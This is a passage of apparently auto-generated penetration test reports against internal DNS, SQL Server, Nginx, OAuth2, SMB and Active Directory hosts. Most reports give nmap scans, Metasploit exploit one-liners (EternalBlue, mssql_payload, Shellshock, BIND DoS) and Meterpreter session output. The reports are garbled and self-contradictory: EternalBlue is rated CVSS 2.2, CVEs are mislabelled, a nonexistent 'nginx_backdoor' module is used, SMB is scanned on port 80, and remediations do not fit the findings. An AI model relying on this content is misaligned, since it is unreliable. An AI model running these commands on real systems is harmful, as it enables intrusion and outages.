AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0049 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the BIND DNS server (10.140.11.159) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 10.140.11.159 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.140.11.159 Host is up (0.35s latency). MAC Address: 24:AA:E1:BB:01:C7 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 10 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 10.140.11.159 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @10.140.11.159 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 10.140.11.159; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 10.140.11.159:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @10.140.11.159 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: High Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0050 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the Microsoft SQL database server (10.122.86.6) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 10.122.86.6 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.122.86.6 Host is up (0.28s latency). MAC Address: 82:64:B2:64:B5:2D (Huawei) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 1 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.122.86.6 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.122.86.6 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.122.86.6 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.122.86.6; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2020-0618 (CVE-2020-0618) - CVE-2019-1068 (CVE-2019-1068) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (683 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained system access [*] Connected to 10.122.86.6 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 2. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0051 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the BIND DNS server (10.56.29.190) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 10.56.29.190 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.56.29.190 Host is up (0.18s latency). MAC Address: 26:4D:A9:4C:72:B5 (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 22 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 10.56.29.190 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @10.56.29.190 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 10.56.29.190; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 10.56.29.190:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @10.56.29.190 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0052 Date: 2025-05-11 19:07:19 Tester: asmith Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the Microsoft SQL database server (192.168.219.96) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 192.168.219.96 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.219.96 Host is up (0.21s latency). MAC Address: 84:95:D3:AF:3B:60 (Dell) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: db-prod-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.219.96 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.219.96 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.219.96 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 192.168.219.96; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2020-0618 (CVE-2020-0618) - CVE-2019-1068 (CVE-2019-1068) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (615 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained system access [*] Connected to 192.168.219.96 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 1 high risk issues found - System configuration needs hardening Recommendations: 1. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 2. Implement parameterized queries, input validation, and use ORM frameworks with built-in protection. Consider using prepared statements with bind variables in all database interactions. For Java applications, use JPA/Hibernate criteria API instead of string concatenation. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0053 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: assess the security posture of the Nginx web server (10.162.179.7) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80,443 10.162.179.7 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.162.179.7 Host is up (0.40s latency). MAC Address: 7C:6B:95:58:E6:BC (HP) 80/tcp open http nginx/1.18.0 443/tcp open http nginx/1.18.0 OS details: Linux 5.4.0-42-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Network Distance: 3 hops Service Info: Host: intranet.local Nmap done: 1 IP address (1 host up) scanned in 12 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2023-44487 (HTTP/2 Rapid Reset - DoS) CVE: CVE-2023-44487 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.162.179.7 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-23017 (1-byte Memory Overwrite in DNS Resolver) CVE: CVE-2021-23017 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.162.179.7 Result: Security vulnerability identified that could potentially compromise the Nginx web server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.162.179.7; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-23017 (CVE-2021-23017) - CVE-2023-44487 (CVE-2023-44487) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (236 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained www-data access [*] Connected to 10.162.179.7 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0054 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct red team assessment of the OAuth2 authentication service (10.191.167.232) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 10.191.167.232 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.191.167.232 Host is up (0.53s latency). MAC Address: EC:80:46:47:6C:7B (Amazon) 80/tcp open http nginx/1.18.0 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 7 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Insecure Configuration CVE: CVE-2021-3560 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (6.0) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 10.191.167.232 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation ## Vulnerability 2: Information Disclosure CVE: CVE-2020-28210 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 10.191.167.232 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.191.167.232; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2021-3560) - Information Disclosure (CVE-2020-28210) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (373 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained www-data access [*] Connected to 10.191.167.232 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Medium Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Enforce MFA, strong password policies, secure session management, and rate limiting. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Regenerate session IDs after login and implement proper session invalidation. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0055 Date: 2025-05-11 19:07:19 Tester: jdoe Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the OAuth2 authentication service (10.206.34.247) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 10.206.34.247 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.206.34.247 Host is up (0.58s latency). MAC Address: 4E:FB:7A:66:81:98 (Google) 80/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 11 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Insecure Configuration CVE: CVE-2021-3560 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (6.2) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 10.206.34.247 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation ## Vulnerability 2: Information Disclosure CVE: CVE-2021-20372 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 10.206.34.247 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOSTS 10.206.34.247; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2021-3560) - Information Disclosure (CVE-2021-20372) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (385 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained root access [*] Connected to 10.206.34.247 [*] Post-exploitation modules available: - shell - upload - download - screenshot === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0056 Date: 2025-05-11 19:07:19 Tester: rjohnson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the SMB file server (10.246.108.232) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 10.246.108.232 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.246.108.232 Host is up (0.15s latency). MAC Address: 10:AD:3F:BE:0F:7E (Apple) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 3 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 10 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.246.108.232 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.246.108.232 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.246.108.232 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 10.246.108.232; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (628 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained system access [*] Connected to 10.246.108.232 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0057 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Active Directory server (10.120.102.244) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p389,636,88,464 10.120.102.244 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.120.102.244 Host is up (0.56s latency). MAC Address: 44:64:40:3D:19:D2 (Amazon) 389/tcp open ldap OpenLDAP 2.4.50 636/tcp open ldap OpenLDAP 2.4.50 88/tcp open ldap OpenLDAP 2.4.49 464/tcp open ldap OpenLDAP 2.4.49 OS details: Windows Server 2019 